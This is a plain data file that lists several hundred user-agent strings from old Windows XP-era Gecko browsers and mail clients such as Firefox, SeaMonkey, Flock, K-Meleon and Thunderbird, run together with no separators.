Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060309 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060404 SeaMonkey/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060406 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060419 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060612 Firefox/1.5.0.4 Flock/0.7.0.17.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060620 Firefox/1.5.0.4 Flock/0.7.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060706 K-Ninja/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 KHTML/3.5.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060731 Firefox/1.5.0.5 Flock/0.7.4.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060730 K-Meleon/1.01 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060731 K-Ninja/2.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060803 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060910 MultiZilla/1.7.9.0a SeaMonkey/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060915 Firefox/1.5.0.7 Flock/0.7.5.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060917 K-Meleon/1.02 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060917 K-Ninja/2.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060929 Firefox/1.5.0.7 Flock/0.7.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20061001 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20061025 Firefox/1.5.0.8 Flock/0.7.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Flock/0.7.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.8) Gecko/20061030 MultiZilla/1.8.3.0a SeaMonkey/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.8) Gecko/20061030 SeaMonkey/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.9) Gecko/20061206 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.9) Gecko/20061211 SeaMonkey/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.9) Gecko/20061219 Flock/0.7.9.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.9pre) Gecko/20061219 Firefox/1.5.0.9 Flock/0.7.9.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20060918 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20060930 BonEcho/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox(1.5.0.6) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061025 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061112 BonEcho/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061113 BonEcho/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061121 BonEcho/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061209 BonEcho/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061210 BonEcho/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061217 Thunderbird/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061222 BonEcho/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061222 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.10) Gecko/20071116 K-Meleon/1.1.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload x.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071128 SeaMonkey/1.1.7 Mnenhy/0.7.5.666 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071213 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071213 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071231 Firefox/2.0.0.11 Flock/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20080126 Firefox/2.0.0.11 Flock/1.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11pre) Gecko/20071206 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11pre) Gecko/20071206 Firefox/2.0.0.11 Navigator/9.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11pre) Gecko/20071206 Firefox/2.0.0.11 Navigator/9.0.0.5 GTB5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.4 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080201 MultiZilla/1.8.3.4e SeaMonkey/1.1.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080201 SeaMonkey/1.1.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080201 SeaMonkey/1.1.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080203 K-Meleon/1.1.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080211 Firefox/2.0.0.12 Flock/1.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080213 Thunderbird/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080304 Firefox/2.0.0.12 Flock/1.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080326 Firefox/2.0.0.13 Flock/1.1.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080414 Firefox/2.0.0.13 Pogo/2.0.0.13.6866 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.5.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080421 Thunderbird/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080424 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080514 Firefox/2.0.0.14 Flock/1.1.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080530 Firefox/2.0.0.14 Flock/1.2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080608 Firefox/2.0.0.14 Flock/1.2.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080621 SeaMonkey/1.1.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080621 SeaMonkey/1.1.10 Mnenhy/0.7.5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.9.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702 MultiZilla/1.8.3.4e SeaMonkey/1.1.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702 SeaMonkey/1.1.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080708 Thunderbird/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080714 Firefox/2.0.0.16 Flock/1.2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.14;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17) Gecko/20080829 SeaMonkey/1.1.12 Mnenhy/0.7.5.666 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17) Gecko/20080910 Firefox/2.0.0.17 Flock/1.2.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17) Gecko/20080914 Thunderbird/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17) Gecko/20080915 Firefox/2.0.0.17 Flock/1.2.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17) Gecko/20080919 K-Meleon/1.5.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17) Gecko/20090224 SeaMonkey/1.1.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17pre) Gecko/20080715 Firefox/2.0.0.8pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.1.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081031 SeaMonkey/1.1.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081105 Thunderbird/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081107 Firefox/2.0.0.18 Flock/1.2.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.19) Gecko/20081204 MultiZilla/1.8.3.5c SeaMonkey/1.1.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mnenhy/0.7.5.666 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mnenhy/0.7.6.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.19) Gecko/20081209 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.19) Gecko/20081209 Thunderbird/2.0.0.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.19) Gecko/20081217 KMLite/1.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1pre) Gecko/20061122 BonEcho/2.0.0.1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1pre) Gecko/20061202 BonEcho/2.0.0.1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1pre) Gecko/20061203 BonEcho/2.0.0.1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0 (Windows NT 5.1; U; pl-PL) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070224 lolifox/0.3.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070224 lolifox/0.3.2 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070225 lolifox/0.32 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070227 BonEcho/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070227 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070314 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090302 Thunderbird/2.0.0.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15 Mnenhy/0.7.5.666 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15 Mnenhy/0.7.6.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090403 Firefox/1.1.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090403 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090403 MultiZilla/1.8.3.4e SeaMonkey/1.1.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090403 SeaMonkey/1.1.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090403 SeaMonkey/1.1.16 Mnenhy/0.7.5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090403 SeaMonkey/1.1.16 Mnenhy/0.7.5.666 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20100312 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.22) Gecko/20090605 SeaMonkey/1.1.17 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.22) Gecko/20090605 SeaMonkey/1.1.17 Mnenhy/0.7.6.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.22) Gecko/20090623 K-Meleon/1.5.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.22pre) Gecko/20090502 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.24) Gecko/20100228 K-Meleon/1.5.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.24) Gecko/20100228 Sylera/3.0.20 SeaMonkey/1.1.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1 Mnenhy/0.7.4.10005 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070118 Firefox/2.0.0.2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070213 BonEcho/2.0.0.2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Mozilla/4.8 [en] (Windows NT 5.1; U) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070321 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070326 Thunderbird/2.0.0.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3; MEGAUPLOAD 1.0) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3pre) Gecko/20070302 BonEcho/2.0.0.3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3pre) Gecko/20070302 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070416 BonEcho/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070501 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070509 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070509 SeaMonkey/1.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070511 K-Meleon/1.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mnenhy/0.7.4.666 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070604 Thunderbird/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070707 Firefox/2.0.0.4 Flock/0.9.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4pre) Gecko/20070404 K-Ninja/2.1.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4pre) Gecko/20070410 BonEcho/2.0.0.4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4pre) Gecko/20070416 BonEcho/2.0.0.4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070716 SeaMonkey/1.1.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070914 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5pre) Gecko/20070622 BonEcho/2.0.0.5pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070727 K-Meleon/1.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070801 Firefox/2.0 Wyzo/0.5.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070801 Firefox/2.0.0.6 Flock/0.9.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070802 Firefox/2.0.0.11 SeaMonkey/1.1.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070802 Firefox/2.0.0.11 SeaMonkey/1.1.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070802 SeaMonkey/1.1.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070809 Sylera/3.0.18 SeaMonkey/1.1.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6; .NET CLR 2.0.50727) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7) Gecko/20071013 Firefox/2.0.0.7 Flock/0.9.1.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7pre) Gecko/20070815 Firefox/2.0.0.6 Navigator/9.0b3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7pre) Gecko/20070901 BonEcho/2.0.0.7pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.8) Gecko/20071013 K-Meleon/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.8) Gecko/20071018 Firefox/2.0.0.8 Flock/1.0RC3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.8pre) Gecko/20071012 BonEcho/2.0.0.8pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.8pre) Gecko/20071012 lolifox/0.3.6 Firefox/2.0.0.7 compatible Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.8pre) Gecko/20071015 Firefox/2.0.0.7 Navigator/9.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.8pre) Gecko/20071019 Firefox/2.0.0.8 Navigator/9.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.6 MEGAUPLOAD 2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071110 Sylera/3.0.20 SeaMonkey/1.1.6 